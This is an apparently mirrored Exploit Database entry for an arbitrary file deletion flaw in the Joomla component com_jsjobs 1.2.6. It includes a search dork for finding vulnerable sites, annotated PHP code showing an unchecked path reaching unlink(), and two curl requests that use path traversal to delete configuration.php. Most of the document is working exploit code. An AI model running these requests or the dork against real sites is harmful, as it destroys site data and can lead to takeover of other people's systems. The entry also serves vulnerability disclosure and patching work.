Joomla! component com_jsjobs 1.2.6 – Arbitrary File Deletion

• Exploit Database
• 18 阅读

• 作者： qw3rTyTy
  日期： 2019-08-16
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/47281/

• # Exploit Title: Joomla! component com_jsjobs 1.2.6 - Arbitrary File Deletion
  # Dork: inurl:"index.php?option=com_jsjobs"
  # Date: 2019-08-16
  # Exploit Author: qw3rTyTy
  # Vendor Homepage: https://www.joomsky.com/
  # Software Link: https://www.joomsky.com/5/download/1
  # Version: 1.2.6
  # Tested on: Debian/nginx/joomla 3.9.0
  
  # Vulnerability details:
  # This vulnerability is caused when processing custom userfield.
  
  File:		site/models/job.php
  Function:	storeJob
  Line:		1240
  -------------------------------------
  
  1215	//custom field code start
  1216	$customflagforadd = false;
  1217	$customflagfordelete = false;
  1218	$custom_field_namesforadd = array();
  1219	$custom_field_namesfordelete = array();
  1220	$userfield = $this->getJSModel('customfields')->getUserfieldsfor(2);
  1221	$params = array();
  1222	$forfordelete = '';
  1223	
  1224	foreach ($userfield AS $ufobj) {
  1225	$vardata = '';
  1226	if($ufobj->userfieldtype == 'file'){
  1227	if(isset($data[$ufobj->field.'_1']) && $data[$ufobj->field.'_1'] == 0){
  1228	$vardata = $data[$ufobj->field.'_2'];
  1229	}else{
  1230	$vardata = $_FILES[$ufobj->field]['name'];
  1231	}
  1232	$customflagforadd=true;
  1233	$custom_field_namesforadd[]=$ufobj->field;
  1234	}else{
  1235	$vardata = isset($data[$ufobj->field]) ? $data[$ufobj->field] : '';
  1236	}
  1237	if(isset($data[$ufobj->field.'_1']) && $data[$ufobj->field.'_1'] == 1){
  1238	$customflagfordelete = true;
  1239	$forfordelete = $ufobj->field;
  1240	$custom_field_namesfordelete[]= $data[$ufobj->field.'_2'];		//No check.
  1241	}
  ...snip...
  1323	// new
  1324	//removing custom field 
  1325	if($customflagfordelete == true){
  1326	foreach ($custom_field_namesfordelete as $key) {
  1327	$res = $this->getJSModel('common')->uploadOrDeleteFileCustom($row->id,$key ,1,2);		//!!!
  1328	}
  1329	}
  
  File:		site/models/common.php
  Function:	uploadOrDeleteFileCustom
  Line:		851
  -------------------------------------
  
   748	$path = $base . '/' . $datadirectory;
   749	if (!file_exists($path)) { // create user directory
   750	$this->makeDir($path);
   751	}
   752	$isupload = false;
   753	$path = $path . '/data';
   754	if (!file_exists($path)) { // create user directory
   755	$this->makeDir($path);
   756	}
   757	if($for == 3 )
   758	$path = $path . '/jobseeker';
   759	else
   760	$path = $path . '/employer';
   761	
   762	if (!file_exists($path)) { // create user directory
   763	$this->makeDir($path);
   764	}
   ...snip...
   843	} else { // DELETE FILES
   844	if ($isdeletefile == 1) {
   845	if($for == 3){
   846	$userpath = $path . '/'.$datafor.'_' . $resumeid . '/customfiles/';
   847	}else{
   848	$userpath = $path . '/'.$datafor.'_' . $id . '/customfiles/';
   849	}
   850	$file = $userpath.$field;
   851	unlink($file);		//!!!
   852	}
   853	return 1;
   854	}
   855	}
  
  #####################################
  #PoC:
  #####################################
  
  # If an administrator has added custom userfield 'ufield926' as field type 'file', attacker are can trigger this vulnerability by send a following requests.
  
  $> curl -X POST -i -H 'Cookie: VALID_SESSION_ID=VALID_SESSION_ID' -F 'options=com_jsjobs' -F 'task=job.savejob' -F 'id=' -F 'enforcestoppublishjob=666' -F 'startpublishing=2019-08-16' -F 'stoppublishing=2019-08-16' -F 'description=woot' -F 'title=woot' -F 'ufield926=@./valid_image.jpg' -F 'VALID_FORM_TOKEN_FROM_FORMJOB=1' "http://localhost/index.php"
  
  $> curl -X POST -i -H 'Cookie: VALID_SESSION_ID=VALID_SESSION_ID' -F 'options=com_jsjobs' -F 'task=job.savejob' -F 'id=666' -F 'enforcestoppublishjob=666' -F 'startpublishing=2019-08-16' -F 'stoppublishing=2019-08-16' -F 'description=woot' -F 'title=woot' -F 'ufield926_1=1' -F 'ufield926_2=../../../../../configuration.php' -F 'VALID_FORM_TOKEN_FROM_FORMJOB=1' "http://localhost/index.php"